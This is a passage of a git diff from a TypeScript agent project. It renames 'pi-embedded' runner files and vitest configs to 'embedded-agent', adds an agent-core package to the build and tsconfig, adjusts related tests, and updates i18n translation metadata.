${label}"); expect(workflow).toContain("Write release validation manifest"); + expect(workflow).toContain("PERFORMANCE_RUN_ID: ${{ needs.performance.outputs.run_id }}"); expect(workflow).toContain("Upload release validation manifest"); expect(workflow).toContain("Failed child detail: ${label}"); expect(workflow).toContain("actions/runs/${run_id}/artifacts?per_page=100"); diff --git a/test/scripts/package-mac-app.test.ts b/test/scripts/package-mac-app.test.ts index 035454e379a..62db6f11e59 100644 --- a/test/scripts/package-mac-app.test.ts +++ b/test/scripts/package-mac-app.test.ts @@ -153,21 +153,15 @@ describe("package-mac-app plist stamping", () => { expect(macosCi).toContain("test/scripts/create-dmg.test.ts"); }); - it("fails closed when required bundled resources are missing", () => { + it("fails closed when required Swift resources are missing", () => { const script = readFileSync(scriptPath, "utf8"); - const modelCatalogBlock = script.slice( - script.indexOf('MODEL_CATALOG_SRC="$ROOT_DIR/node_modules/@earendil-works/pi-ai/dist/models.generated.js"'), - script.indexOf('echo "📦 Copying Control UI assets"'), - ); const openClawKitBlock = script.slice( - script.indexOf('OPENCLAWKIT_BUNDLE="$(build_path_for_arch "$PRIMARY_ARCH")/$BUILD_CONFIG/OpenClawKit_OpenClawKit.bundle"'), + script.indexOf( + 'OPENCLAWKIT_BUNDLE="$(build_path_for_arch "$PRIMARY_ARCH")/$BUILD_CONFIG/OpenClawKit_OpenClawKit.bundle"', + ), script.indexOf('echo "📦 Copying Textual resources"'), ); - expect(modelCatalogBlock).toContain("ERROR: model catalog missing"); - expect(modelCatalogBlock).toContain("exit 1"); - expect(modelCatalogBlock).not.toContain("WARN:"); - expect(modelCatalogBlock).not.toContain("continuing"); expect(openClawKitBlock).toContain("ERROR: OpenClawKit resource bundle not found"); expect(openClawKitBlock).toContain("exit 1"); expect(openClawKitBlock).not.toContain("WARN:"); diff --git a/test/scripts/parallels-smoke-model.test.ts b/test/scripts/parallels-smoke-model.test.ts index d3973608894..3087ba774d1 100644 --- a/test/scripts/parallels-smoke-model.test.ts +++ b/test/scripts/parallels-smoke-model.test.ts @@ -758,7 +758,7 @@ if (isPrlctl) { expect(powershell).toContain("models.providers.${providerId}"); expect(powershell).toContain("agents.defaults.models${configPathMapKey(modelId)}"); expect(powershell).toContain("OPENCLAW_PARALLELS_AGENT_RUNTIME_POLICY_SUPPORTED"); - expect(powershell).toContain('selectedModelEntry.agentRuntime = { id: "pi" }'); + expect(powershell).toContain('selectedModelEntry.agentRuntime = { id: "openclaw" }'); expect(powershell).toContain("delete selectedModelEntry.agentRuntime"); expect(powershell).toContain("delete providerEntry.agentRuntime"); expect(powershell).toContain("configPathMapKey"); diff --git a/test/scripts/root-package-overrides.test.ts b/test/scripts/root-package-overrides.test.ts index 3c13ea477b4..02fd7fa21c2 100644 --- a/test/scripts/root-package-overrides.test.ts +++ b/test/scripts/root-package-overrides.test.ts @@ -36,12 +36,11 @@ describe("root package override guardrails", () => { ); const bedrockRuntimeDependency = bedrockManifest.dependencies?.[packageName]; const npmOverride = manifest.overrides?.[packageName]; - const pnpmOverride = pnpmWorkspace.overrides?.[packageName]; expect(bedrockRuntimeDependency).toBeDefined(); expect(manifest.dependencies).not.toHaveProperty(packageName); expect(npmOverride).toBeUndefined(); - expect(pnpmOverride).toBe(bedrockRuntimeDependency); + expect(pnpmWorkspace.overrides).not.toHaveProperty(packageName); }); it("pins the node-domexception alias exactly in npm and pnpm overrides", () => { diff --git a/test/scripts/runtime-postbuild.test.ts b/test/scripts/runtime-postbuild.test.ts index eb2a2f3a5ae..6257f026878 100644 --- a/test/scripts/runtime-postbuild.test.ts +++ b/test/scripts/runtime-postbuild.test.ts @@ -36,7 +36,6 @@ async function expectPathMissing(targetPath: string): Promise { describe("runtime postbuild static assets", () => { it("tracks plugin-owned static assets that release packaging must ship", () => { expect(listStaticExtensionAssetOutputs()).toEqual([ - "dist/extensions/acpx/error-format.mjs", "dist/extensions/acpx/mcp-command-line.mjs", "dist/extensions/acpx/mcp-proxy.mjs", "dist/extensions/diffs-language-pack/assets/viewer-runtime.js", @@ -57,7 +56,6 @@ describe("runtime postbuild static assets", () => { `); expect(payload.outputs).toEqual([ - "dist/extensions/acpx/error-format.mjs", "dist/extensions/acpx/mcp-command-line.mjs", "dist/extensions/acpx/mcp-proxy.mjs", "dist/extensions/diffs-language-pack/assets/viewer-runtime.js", diff --git a/test/scripts/test-extension.test.ts b/test/scripts/test-extension.test.ts index 1eea831fef3..8f1de04552a 100644 --- a/test/scripts/test-extension.test.ts +++ b/test/scripts/test-extension.test.ts @@ -718,6 +718,13 @@ describe("scripts/test-extension.mjs", () => { expect([...parseExactVitestExcludePaths(["--exclude=extensions/**/*.test.ts"])]).toEqual([]); }); + it("accepts pnpm's leading argument separator before extension ids", () => { + expect(parseExtensionIds(["--", "telegram,slack", "--run"])).toEqual({ + extensionIds: ["telegram", "slack"], + passthroughArgs: ["--run"], + }); + }); + it("fails explicitly requested extensions without tests by default", () => { const extensionId = findExtensionWithoutTests(); const result = runScriptResult([extensionId]); diff --git a/test/scripts/test-projects.test.ts b/test/scripts/test-projects.test.ts index 2f337c2fca0..8037219ff81 100644 --- a/test/scripts/test-projects.test.ts +++ b/test/scripts/test-projects.test.ts @@ -375,7 +375,7 @@ describe("scripts/test-projects changed-target routing", () => { findUnmatchedExplicitTestTargets( [ "test/vitest/vitest.agents-core.config.ts", - "test/vitest/vitest.agents-pi-embedded.config.ts", + "test/vitest/vitest.agents-embedded-agent.config.ts", "test/vitest/vitest.agents-support.config.ts", "test/vitest/vitest.agents-tools.config.ts", ], @@ -1051,7 +1051,7 @@ describe("scripts/test-projects changed-target routing", () => { it.each([ "test/vitest/vitest.agents-core.config.ts", - "test/vitest/vitest.agents-pi-embedded.config.ts", + "test/vitest/vitest.agents-embedded-agent.config.ts", "test/vitest/vitest.agents-support.config.ts", "test/vitest/vitest.agents-tools.config.ts", ])("routes split agents vitest config %s to itself", (target) => { @@ -1471,7 +1471,7 @@ describe("scripts/test-projects full-suite sharding", () => { "test/vitest/vitest.commands-light.config.ts", "test/vitest/vitest.commands.config.ts", "test/vitest/vitest.agents-core.config.ts", - "test/vitest/vitest.agents-pi-embedded.config.ts", + "test/vitest/vitest.agents-embedded-agent.config.ts", "test/vitest/vitest.agents-support.config.ts", "test/vitest/vitest.agents-tools.config.ts", "test/vitest/vitest.daemon.config.ts", diff --git a/test/scripts/transitive-manifest-risk-report.test.ts b/test/scripts/transitive-manifest-risk-report.test.ts index 3e4dc3597ef..2201602f62b 100644 --- a/test/scripts/transitive-manifest-risk-report.test.ts +++ b/test/scripts/transitive-manifest-risk-report.test.ts @@ -118,7 +118,7 @@ describe("transitive-manifest-risk-report", () => { it("documents JSON completeness and renders grouped Markdown summaries", async () => { const report = await createTransitiveManifestRiskReport({ packageVersions: [ - { packageName: "@earendil-works/pi-ai", version: "0.74.0" }, + { packageName: "openclaw/plugin-sdk/llm", version: "0.74.0" }, { packageName: "aaa-package", version: "1.0.0" }, { packageName: "recent-package", version: "1.0.0" }, ], @@ -129,7 +129,7 @@ describe("transitive-manifest-risk-report", () => { publishedAt: packageName === "recent-package" ? "2026-05-11T23:00:00Z" : "2026-04-01T00:00:00Z", manifest: - packageName === "@earendil-works/pi-ai" + packageName === "openclaw/plugin-sdk/llm" ? { dependencies: { "@mistralai/mistralai": "^2.2.0", @@ -164,7 +164,7 @@ describe("transitive-manifest-risk-report", () => { expect(markdown).toContain("## Complete Evidence"); expect(markdown).toContain("The complete reported signal list is available in the JSON report"); expect(markdown).toContain("## Published Package Manifests With Risk Findings"); - expect(markdown).toContain("`@earendil-works/pi-ai@0.74.0`: 1 manifest finding"); + expect(markdown).toContain("`openclaw/plugin-sdk/llm@0.74.0`: 1 manifest finding"); expect(markdown).toContain("`aaa-package@1.0.0`: 1 manifest finding"); expect(markdown).toContain("## Floating Dependency Targets"); expect(markdown).toContain("`@mistralai/mistralai`: 1 declarations"); diff --git a/test/setup.shared.ts b/test/setup.shared.ts index 1b3e262fd7f..747e6d4b7c3 100644 --- a/test/setup.shared.ts +++ b/test/setup.shared.ts @@ -5,18 +5,16 @@ type GlobalWithOpenAiCodexTokenRefreshTestHook = typeof globalThis & { [openAiCodexTokenRefreshTestHook]?: ((...args: unknown[]) => unknown) | undefined; }; -vi.mock("@earendil-works/pi-ai/oauth", () => ({ - getOAuthProvider: () => undefined, +vi.mock("../src/llm/oauth.js", () => ({ getOAuthApiKey: () => undefined, getOAuthProviders: () => [], loginOpenAICodex: vi.fn(), - registerOAuthProvider: vi.fn(), - resetOAuthProviders: vi.fn(), refreshOpenAICodexToken: vi.fn((...args: unknown[]) => (globalThis as GlobalWithOpenAiCodexTokenRefreshTestHook)[openAiCodexTokenRefreshTestHook]?.( ...args, ), ), + resetOAuthProviders: vi.fn(), })); vi.mock("@mariozechner/clipboard", () => ({ diff --git a/test/test-env.ts b/test/test-env.ts index 91bf9497f6e..43110a18be8 100644 --- a/test/test-env.ts +++ b/test/test-env.ts @@ -174,7 +174,6 @@ function resolveRestoreEntries(): RestoreEntry[] { { key: "OPENCLAW_CANVAS_HOST_PORT", value: process.env.OPENCLAW_CANVAS_HOST_PORT }, { key: "OPENCLAW_TEST_HOME", value: process.env.OPENCLAW_TEST_HOME }, { key: "OPENCLAW_AGENT_DIR", value: process.env.OPENCLAW_AGENT_DIR }, - { key: "PI_CODING_AGENT_DIR", value: process.env.PI_CODING_AGENT_DIR }, { key: "TELEGRAM_BOT_TOKEN", value: process.env.TELEGRAM_BOT_TOKEN }, { key: "DISCORD_BOT_TOKEN", value: process.env.DISCORD_BOT_TOKEN }, { key: "SLACK_BOT_TOKEN", value: process.env.SLACK_BOT_TOKEN }, @@ -205,7 +204,6 @@ function createIsolatedTestHome(restore: RestoreEntry[]): { // Prefer deriving state dir from HOME so nested tests that change HOME also isolate correctly. delete process.env.OPENCLAW_STATE_DIR; delete process.env.OPENCLAW_AGENT_DIR; - delete process.env.PI_CODING_AGENT_DIR; // Prefer test-controlled ports over developer overrides (avoid port collisions across tests/workers). delete process.env.OPENCLAW_GATEWAY_PORT; delete process.env.OPENCLAW_BRIDGE_ENABLED; diff --git a/test/vitest-projects-config.test.ts b/test/vitest-projects-config.test.ts index f4bf0e3e1ad..c55776352cd 100644 --- a/test/vitest-projects-config.test.ts +++ b/test/vitest-projects-config.test.ts @@ -2,7 +2,7 @@ import { afterEach, describe, expect, it } from "vitest"; import { createPatternFileHelper } from "./helpers/pattern-file.js"; import { normalizeConfigPath, normalizeConfigPaths } from "./helpers/vitest-config-paths.js"; import { createAgentsCoreVitestConfig } from "./vitest/vitest.agents-core.config.ts"; -import { createAgentsPiEmbeddedVitestConfig } from "./vitest/vitest.agents-pi-embedded.config.ts"; +import { createAgentsEmbeddedVitestConfig } from "./vitest/vitest.agents-embedded-agent.config.ts"; import { createAgentsSupportVitestConfig } from "./vitest/vitest.agents-support.config.ts"; import { createAgentsToolsVitestConfig } from "./vitest/vitest.agents-tools.config.ts"; import { createAgentsVitestConfig } from "./vitest/vitest.agents.config.ts"; @@ -92,7 +92,7 @@ describe("projects vitest config", () => { expect(createGatewayVitestConfig().test.pool).toBe("threads"); expect(createAgentsVitestConfig().test.pool).toBe("threads"); expect(createAgentsCoreVitestConfig().test.pool).toBe("threads"); - expect(createAgentsPiEmbeddedVitestConfig().test.pool).toBe("threads"); + expect(createAgentsEmbeddedVitestConfig().test.pool).toBe("threads"); expect(createAgentsSupportVitestConfig().test.pool).toBe("threads"); expect(createAgentsToolsVitestConfig().test.pool).toBe("threads"); expect(createCommandsLightVitestConfig().test.pool).toBe("threads"); diff --git a/test/vitest-unit-fast-config.test.ts b/test/vitest-unit-fast-config.test.ts index f79784ceb27..c806156511f 100644 --- a/test/vitest-unit-fast-config.test.ts +++ b/test/vitest-unit-fast-config.test.ts @@ -100,7 +100,9 @@ describe("unit-fast vitest lane", () => { expect(testConfig.isolate).toBe(false); expect(testConfig.runner).toBeUndefined(); expect(testConfig.setupFiles).toStrictEqual([]); - expect(testConfig.include).toContain("src/agents/pi-tools.deferred-followup-guidance.test.ts"); + expect(testConfig.include).toContain( + "src/agents/agent-tools.deferred-followup-guidance.test.ts", + ); expect(testConfig.include).toContain("src/acp/control-plane/runtime-cache.test.ts"); expect(testConfig.include).toContain("src/acp/runtime/registry.test.ts"); expect(testConfig.include).toContain("src/commands/status-overview-values.test.ts"); diff --git a/test/vitest-unit-paths.test.ts b/test/vitest-unit-paths.test.ts index 9d200fb3d22..f9b8131bc9d 100644 --- a/test/vitest-unit-paths.test.ts +++ b/test/vitest-unit-paths.test.ts @@ -29,7 +29,7 @@ describe("isUnitConfigTestFile", () => { expect(isUnitConfigTestFile("src/infra/stable-node-path.test.ts")).toBe(false); expect(isUnitConfigTestFile("test/format-error.test.ts")).toBe(false); expect(isUnitConfigTestFile("test/extension-test-boundary.test.ts")).toBe(false); - expect(isUnitConfigTestFile("src/agents/pi-embedded-runner.test.ts")).toBe(false); + expect(isUnitConfigTestFile("src/agents/embedded-agent-runner.test.ts")).toBe(false); expect(isUnitConfigTestFile("src/commands/onboard.test.ts")).toBe(false); expect(isUnitConfigTestFile("ui/src/ui/views/channels.test.ts")).toBe(false); expect(isUnitConfigTestFile("ui/src/ui/views/chat.test.ts")).toBe(false); diff --git a/test/vitest/vitest.agents-embedded-agent.config.ts b/test/vitest/vitest.agents-embedded-agent.config.ts new file mode 100644 index 00000000000..60ce779aa16 --- /dev/null +++ b/test/vitest/vitest.agents-embedded-agent.config.ts @@ -0,0 +1,12 @@ +import { agentsEmbeddedTestPatterns } from "./vitest.agents-paths.mjs"; +import { createScopedVitestConfig } from "./vitest.scoped-config.ts"; + +export function createAgentsEmbeddedVitestConfig(env?: Record) { + return createScopedVitestConfig(agentsEmbeddedTestPatterns, { + dir: "src/agents", + env, + name: "agents-embedded-agent", + }); +} + +export default createAgentsEmbeddedVitestConfig(); diff --git a/test/vitest/vitest.agents-paths.mjs b/test/vitest/vitest.agents-paths.mjs index 113ad2ee9ad..0a4a9299d91 100644 --- a/test/vitest/vitest.agents-paths.mjs +++ b/test/vitest/vitest.agents-paths.mjs @@ -2,13 +2,13 @@ export const agentsAllTestPatterns = ["src/agents/**/*.test.ts"]; export const agentsCoreTestPatterns = ["src/agents/*.test.ts"]; -export const agentsPiEmbeddedTestPatterns = ["src/agents/pi-embedded-runner/**/*.test.ts"]; +export const agentsEmbeddedTestPatterns = ["src/agents/embedded-agent-runner/**/*.test.ts"]; export const agentsToolsTestPatterns = ["src/agents/tools/**/*.test.ts"]; export const agentsSupportTestPatterns = ["src/agents/*/**/*.test.ts"]; export const agentsSupportExcludePatterns = [ - "src/agents/pi-embedded-runner/**", + "src/agents/embedded-agent-runner/**", "src/agents/tools/**", ]; diff --git a/test/vitest/vitest.agents-pi-embedded.config.ts b/test/vitest/vitest.agents-pi-embedded.config.ts deleted file mode 100644 index 0738c1aeaf1..00000000000 --- a/test/vitest/vitest.agents-pi-embedded.config.ts +++ /dev/null @@ -1,12 +0,0 @@ -import { agentsPiEmbeddedTestPatterns } from "./vitest.agents-paths.mjs"; -import { createScopedVitestConfig } from "./vitest.scoped-config.ts"; - -export function createAgentsPiEmbeddedVitestConfig(env?: Record) { - return createScopedVitestConfig(agentsPiEmbeddedTestPatterns, { - dir: "src/agents", - env, - name: "agents-pi-embedded", - }); -} - -export default createAgentsPiEmbeddedVitestConfig(); diff --git a/test/vitest/vitest.config.ts b/test/vitest/vitest.config.ts index 75ea4aab672..8a434fee98f 100644 --- a/test/vitest/vitest.config.ts +++ b/test/vitest/vitest.config.ts @@ -33,7 +33,7 @@ export const rootVitestProjects = [ "test/vitest/vitest.commands.config.ts", "test/vitest/vitest.auto-reply.config.ts", "test/vitest/vitest.agents-core.config.ts", - "test/vitest/vitest.agents-pi-embedded.config.ts", + "test/vitest/vitest.agents-embedded-agent.config.ts", "test/vitest/vitest.agents-support.config.ts", "test/vitest/vitest.agents-tools.config.ts", "test/vitest/vitest.daemon.config.ts", diff --git a/test/vitest/vitest.scoped-config.ts b/test/vitest/vitest.scoped-config.ts index 95bc8050eb8..143e1bebf18 100644 --- a/test/vitest/vitest.scoped-config.ts +++ b/test/vitest/vitest.scoped-config.ts @@ -98,7 +98,7 @@ const SCOPED_PROJECT_GROUP_ORDER_BY_NAME = new Map( "acp", "agents", "agents-core", - "agents-pi-embedded", + "agents-embedded-agent", "agents-support", "agents-tools", "auto-reply", diff --git a/test/vitest/vitest.shared.config.ts b/test/vitest/vitest.shared.config.ts index 1bf35ae9121..5ad198fd0e2 100644 --- a/test/vitest/vitest.shared.config.ts +++ b/test/vitest/vitest.shared.config.ts @@ -208,7 +208,7 @@ export const sharedVitestConfig = { "test/vitest/vitest.channel-paths.mjs", "test/vitest/vitest.agents-paths.mjs", "test/vitest/vitest.agents-core.config.ts", - "test/vitest/vitest.agents-pi-embedded.config.ts", + "test/vitest/vitest.agents-embedded-agent.config.ts", "test/vitest/vitest.agents-support.config.ts", "test/vitest/vitest.agents-tools.config.ts", "test/vitest/vitest.channels.config.ts", @@ -372,11 +372,11 @@ export const sharedVitestConfig = { "src/providers/**", "src/secrets/**", "src/agents/model-scan.ts", - "src/agents/pi-embedded-runner.ts", + "src/agents/embedded-agent-runner.ts", "src/agents/sandbox-paths.ts", "src/agents/sandbox.ts", "src/agents/skills-install.ts", - "src/agents/pi-tool-definition-adapter.ts", + "src/agents/agent-tool-definition-adapter.ts", "src/agents/tools/discord-actions*.ts", "src/agents/tools/slack-actions.ts", "src/infra/state-migrations.ts", diff --git a/test/vitest/vitest.test-shards.mjs b/test/vitest/vitest.test-shards.mjs index 3e40a746334..63cdd6915dd 100644 --- a/test/vitest/vitest.test-shards.mjs +++ b/test/vitest/vitest.test-shards.mjs @@ -92,7 +92,7 @@ export const fullSuiteVitestShards = [ "test/vitest/vitest.commands-light.config.ts", "test/vitest/vitest.commands.config.ts", "test/vitest/vitest.agents-core.config.ts", - "test/vitest/vitest.agents-pi-embedded.config.ts", + "test/vitest/vitest.agents-embedded-agent.config.ts", "test/vitest/vitest.agents-support.config.ts", "test/vitest/vitest.agents-tools.config.ts", "test/vitest/vitest.daemon.config.ts", diff --git a/tsconfig.json b/tsconfig.json index 1d0a2eae679..9e35ca92e9d 100644 --- a/tsconfig.json +++ b/tsconfig.json @@ -27,6 +27,8 @@ "openclaw/extension-api": ["./src/extensionAPI.ts"], "openclaw/plugin-sdk": ["./src/plugin-sdk/index.ts"], "openclaw/plugin-sdk/*": ["./src/plugin-sdk/*.ts"], + "@openclaw/agent-core": ["./packages/agent-core/src/index.ts"], + "@openclaw/agent-core/*": ["./packages/agent-core/src/*"], "@openclaw/sdk": ["./packages/sdk/src/index.ts"], "@openclaw/plugin-sdk": ["./src/plugin-sdk/index.ts"], "@openclaw/plugin-sdk/*": ["./src/plugin-sdk/*.ts"], diff --git a/tsdown.config.ts b/tsdown.config.ts index fb8ed496577..e8a0f0628d6 100644 --- a/tsdown.config.ts +++ b/tsdown.config.ts @@ -242,7 +242,6 @@ function buildCoreDistEntries(): Record { "plugins/synthetic-auth.runtime": "src/plugins/synthetic-auth.runtime.ts", "subagent-registry.runtime": "src/agents/subagent-registry.runtime.ts", "task-registry-control.runtime": "src/tasks/task-registry-control.runtime.ts", - "agents/pi-model-discovery-runtime": "src/agents/pi-model-discovery-runtime.ts", "link-understanding/apply.runtime": "src/link-understanding/apply.runtime.ts", "media-understanding/apply.runtime": "src/media-understanding/apply.runtime.ts", "commands/doctor/shared/plugin-registry-migration": @@ -275,13 +274,13 @@ function buildDockerE2eHarnessEntries(): Record { return { // Mounted Docker harnesses run against the npm tarball image, so any // internal module they assert must have a stable package dist entry. - "agents/pi-bundle-mcp-materialize": "src/agents/pi-bundle-mcp-materialize.ts", - "agents/pi-bundle-mcp-runtime": "src/agents/pi-bundle-mcp-runtime.ts", - "agents/pi-embedded-runner/effective-tool-policy": - "src/agents/pi-embedded-runner/effective-tool-policy.ts", - "agents/pi-embedded-runner/tool-split": "src/agents/pi-embedded-runner/tool-split.ts", - "agents/pi-embedded-runner/run/runtime-context-prompt": - "src/agents/pi-embedded-runner/run/runtime-context-prompt.ts", + "agents/agent-bundle-mcp-materialize": "src/agents/agent-bundle-mcp-materialize.ts", + "agents/agent-bundle-mcp-runtime": "src/agents/agent-bundle-mcp-runtime.ts", + "agents/embedded-agent-runner/effective-tool-policy": + "src/agents/embedded-agent-runner/effective-tool-policy.ts", + "agents/embedded-agent-runner/tool-split": "src/agents/embedded-agent-runner/tool-split.ts", + "agents/embedded-agent-runner/run/runtime-context-prompt": + "src/agents/embedded-agent-runner/run/runtime-context-prompt.ts", "auto-reply/reply/commands-crestodian": "src/auto-reply/reply/commands-crestodian.ts", "cli/run-main": "src/cli/run-main.ts", "commitments/runtime": "src/commitments/runtime.ts", @@ -298,6 +297,50 @@ function buildDockerE2eHarnessEntries(): Record { }; } +function buildAgentCoreDistEntries(): Record { + return { + index: "packages/agent-core/src/index.ts", + agent: "packages/agent-core/src/agent.ts", + "agent-loop": "packages/agent-core/src/agent-loop.ts", + llm: "packages/agent-core/src/llm.ts", + node: "packages/agent-core/src/node.ts", + "runtime-deps": "packages/agent-core/src/runtime-deps.ts", + types: "packages/agent-core/src/types.ts", + validation: "packages/agent-core/src/validation.ts", + "harness/agent-harness": "packages/agent-core/src/harness/agent-harness.ts", + "harness/types": "packages/agent-core/src/harness/types.ts", + "harness/messages": "packages/agent-core/src/harness/messages.ts", + "harness/env/kill-tree": "packages/agent-core/src/harness/env/kill-tree.ts", + "harness/session": "packages/agent-core/src/harness/session/session.ts", + "harness/session/jsonl-repo": "packages/agent-core/src/harness/session/jsonl-repo.ts", + "harness/session/jsonl-storage": "packages/agent-core/src/harness/session/jsonl-storage.ts", + "harness/session/memory-repo": "packages/agent-core/src/harness/session/memory-repo.ts", + "harness/session/memory-storage": "packages/agent-core/src/harness/session/memory-storage.ts", + "harness/session/repo-utils": "packages/agent-core/src/harness/session/repo-utils.ts", + "harness/session/uuid": "packages/agent-core/src/harness/session/uuid.ts", + "harness/compaction": "packages/agent-core/src/harness/compaction/compaction.ts", + "harness/branch-summarization": + "packages/agent-core/src/harness/compaction/branch-summarization.ts", + "harness/prompt-templates": "packages/agent-core/src/harness/prompt-templates.ts", + "harness/skills": "packages/agent-core/src/harness/skills.ts", + "harness/system-prompt": "packages/agent-core/src/harness/system-prompt.ts", + "harness/utils/shell-output": "packages/agent-core/src/harness/utils/shell-output.ts", + "harness/utils/truncate": "packages/agent-core/src/harness/utils/truncate.ts", + }; +} + +function shouldExternalizeAgentCoreDependency(id: string): boolean { + return ( + id === "ignore" || + id === "openclaw" || + id.startsWith("openclaw/") || + id === "typebox" || + id.startsWith("typebox/") || + id === "yaml" || + id.startsWith("yaml/") + ); +} + const coreDistEntries = buildCoreDistEntries(); const dockerE2eHarnessEntries = buildDockerE2eHarnessEntries(); const rootBundledPluginBuildEntries = bundledPluginBuildEntries.filter( @@ -332,6 +375,15 @@ function buildUnifiedDistEntries(): Record { } export default defineConfig([ + nodeBuildConfig({ + clean: true, + dts: RUN_NODE_SKIP_DTS_BUILD ? false : undefined, + entry: buildAgentCoreDistEntries(), + outDir: "packages/agent-core/dist", + deps: { + neverBundle: shouldExternalizeAgentCoreDependency, + }, + }), nodeBuildConfig({ // Build core entrypoints, plugin-sdk subpaths, bundled plugin entrypoints, // and bundled hooks in one graph so runtime singletons are emitted once. diff --git a/ui/src/i18n/.i18n/ar.meta.json b/ui/src/i18n/.i18n/ar.meta.json index a59b27c6ccb..4d49a427a4e 100644 --- a/ui/src/i18n/.i18n/ar.meta.json +++ b/ui/src/i18n/.i18n/ar.meta.json @@ -1,37 +1,11 @@ { - "fallbackKeys": [ - "activity.allTools", - "activity.argumentHiddenOne", - "activity.argumentsHidden", - "activity.autoFollow", - "activity.collapseAll", - "activity.duration.minutes", - "activity.duration.ms", - "activity.duration.seconds", - "activity.empty", - "activity.emptyFiltered", - "activity.entrySummary", - "activity.expandAll", - "activity.filtersLabel", - "activity.noOutputPreview", - "activity.outputTruncated", - "activity.searchPlaceholder", - "activity.statusFilters", - "activity.streamLabel", - "activity.subtitle", - "activity.title", - "activity.toolCallId", - "activity.visibleCount", - "execApproval.allowAlwaysUnavailable", - "subtitles.activity", - "tabs.activity" - ], - "generatedAt": "2026-05-27T02:52:46.711Z", + "fallbackKeys": [], + "generatedAt": "2026-05-27T05:21:46.964Z", "locale": "ar", - "model": "claude-opus-4-7", - "provider": "anthropic", + "model": "gpt-5.5", + "provider": "openai", "sourceHash": "24e6aff2cfb534faf3b6a9c96ccafee1470519c2f4498c07841072435a0565ea", "totalKeys": 1155, - "translatedKeys": 1130, + "translatedKeys": 1155, "workflow": 1 } diff --git a/ui/src/i18n/.i18n/de.meta.json b/ui/src/i18n/.i18n/de.meta.json index 57927b080f8..aafa175f74f 100644 --- a/ui/src/i18n/.i18n/de.meta.json +++ b/ui/src/i18n/.i18n/de.meta.json @@ -1,37 +1,11 @@ { - "fallbackKeys": [ - "activity.allTools", - "activity.argumentHiddenOne", - "activity.argumentsHidden", - "activity.autoFollow", - "activity.collapseAll", - "activity.duration.minutes", - "activity.duration.ms", - "activity.duration.seconds", - "activity.empty", - "activity.emptyFiltered", - "activity.entrySummary", - "activity.expandAll", - "activity.filtersLabel", - "activity.noOutputPreview", - "activity.outputTruncated", - "activity.searchPlaceholder", - "activity.statusFilters", - "activity.streamLabel", - "activity.subtitle", - "activity.title", - "activity.toolCallId", - "activity.visibleCount", - "execApproval.allowAlwaysUnavailable", - "subtitles.activity", - "tabs.activity" - ], - "generatedAt": "2026-05-27T02:52:45.045Z", + "fallbackKeys": [], + "generatedAt": "2026-05-27T05:21:30.563Z", "locale": "de", - "model": "claude-opus-4-7", - "provider": "anthropic", + "model": "gpt-5.5", + "provider": "openai", "sourceHash": "24e6aff2cfb534faf3b6a9c96ccafee1470519c2f4498c07841072435a0565ea", "totalKeys": 1155, - "translatedKeys": 1130, + "translatedKeys": 1155, "workflow": 1 } diff --git a/ui/src/i18n/.i18n/es.meta.json b/ui/src/i18n/.i18n/es.meta.json index 1821775863b..e12d7c75491 100644 --- a/ui/src/i18n/.i18n/es.meta.json +++ b/ui/src/i18n/.i18n/es.meta.json @@ -1,38 +1,11 @@ { - "fallbackKeys": [ - "activity.allTools", - "activity.argumentHiddenOne", - "activity.argumentsHidden", - "activity.autoFollow", - "activity.collapseAll", - "activity.duration.minutes", - "activity.duration.ms", - "activity.duration.seconds", - "activity.empty", - "activity.emptyFiltered", - "activity.entrySummary", - "activity.expandAll", - "activity.filtersLabel", - "activity.noOutputPreview", - "activity.outputTruncated", - "activity.runId", - "activity.searchPlaceholder", - "activity.statusFilters", - "activity.streamLabel", - "activity.subtitle", - "activity.title", - "activity.toolCallId", - "activity.visibleCount", - "execApproval.allowAlwaysUnavailable", - "subtitles.activity", - "tabs.activity" - ], - "generatedAt": "2026-05-27T02:52:45.377Z", + "fallbackKeys": [], + "generatedAt": "2026-05-27T05:21:32.569Z", "locale": "es", - "model": "claude-opus-4-7", - "provider": "anthropic", + "model": "gpt-5.5", + "provider": "openai", "sourceHash": "24e6aff2cfb534faf3b6a9c96ccafee1470519c2f4498c07841072435a0565ea", "totalKeys": 1155, - "translatedKeys": 1129, + "translatedKeys": 1155, "workflow": 1 } diff --git a/ui/src/i18n/.i18n/fa.meta.json b/ui/src/i18n/.i18n/fa.meta.json index 7eea6db26d7..12da2b655fd 100644 --- a/ui/src/i18n/.i18n/fa.meta.json +++ b/ui/src/i18n/.i18n/fa.meta.json @@ -1,37 +1,11 @@ { - "fallbackKeys": [ - "activity.allTools", - "activity.argumentHiddenOne", - "activity.argumentsHidden", - "activity.autoFollow", - "activity.collapseAll", - "activity.duration.minutes", - "activity.duration.ms", - "activity.duration.seconds", - "activity.empty", - "activity.emptyFiltered", - "activity.entrySummary", - "activity.expandAll", - "activity.filtersLabel", - "activity.noOutputPreview", - "activity.outputTruncated", - "activity.searchPlaceholder", - "activity.statusFilters", - "activity.streamLabel", - "activity.subtitle", - "activity.title", - "activity.toolCallId", - "activity.visibleCount", - "execApproval.allowAlwaysUnavailable", - "subtitles.activity", - "tabs.activity" - ], - "generatedAt": "2026-05-27T02:52:49.716Z", + "fallbackKeys": [], + "generatedAt": "2026-05-27T05:22:08.331Z", "locale": "fa", - "model": "claude-opus-4-7", - "provider": "anthropic", + "model": "gpt-5.5", + "provider": "openai", "sourceHash": "24e6aff2cfb534faf3b6a9c96ccafee1470519c2f4498c07841072435a0565ea", "totalKeys": 1155, - "translatedKeys": 1130, + "translatedKeys": 1155, "workflow": 1 } diff --git a/ui/src/i18n/.i18n/fr.meta.json b/ui/src/i18n/.i18n/fr.meta.json index 664f21f8d0d..b4786de8cce 100644 --- a/ui/src/i18n/.i18n/fr.meta.json +++ b/ui/src/i18n/.i18n/fr.meta.json @@ -1,37 +1,11 @@ { - "fallbackKeys": [ - "activity.allTools", - "activity.argumentHiddenOne", - "activity.argumentsHidden", - "activity.autoFollow", - "activity.collapseAll", - "activity.duration.minutes", - "activity.duration.ms", - "activity.duration.seconds", - "activity.empty", - "activity.emptyFiltered", - "activity.entrySummary", - "activity.expandAll", - "activity.filtersLabel", - "activity.noOutputPreview", - "activity.outputTruncated", - "activity.searchPlaceholder", - "activity.statusFilters", - "activity.streamLabel", - "activity.subtitle", - "activity.title", - "activity.toolCallId", - "activity.visibleCount", - "execApproval.allowAlwaysUnavailable", - "subtitles.activity", - "tabs.activity" - ], - "generatedAt": "2026-05-27T02:52:46.368Z", + "fallbackKeys": [], + "generatedAt": "2026-05-27T05:21:40.959Z", "locale": "fr", - "model": "claude-opus-4-7", - "provider": "anthropic", + "model": "gpt-5.5", + "provider": "openai", "sourceHash": 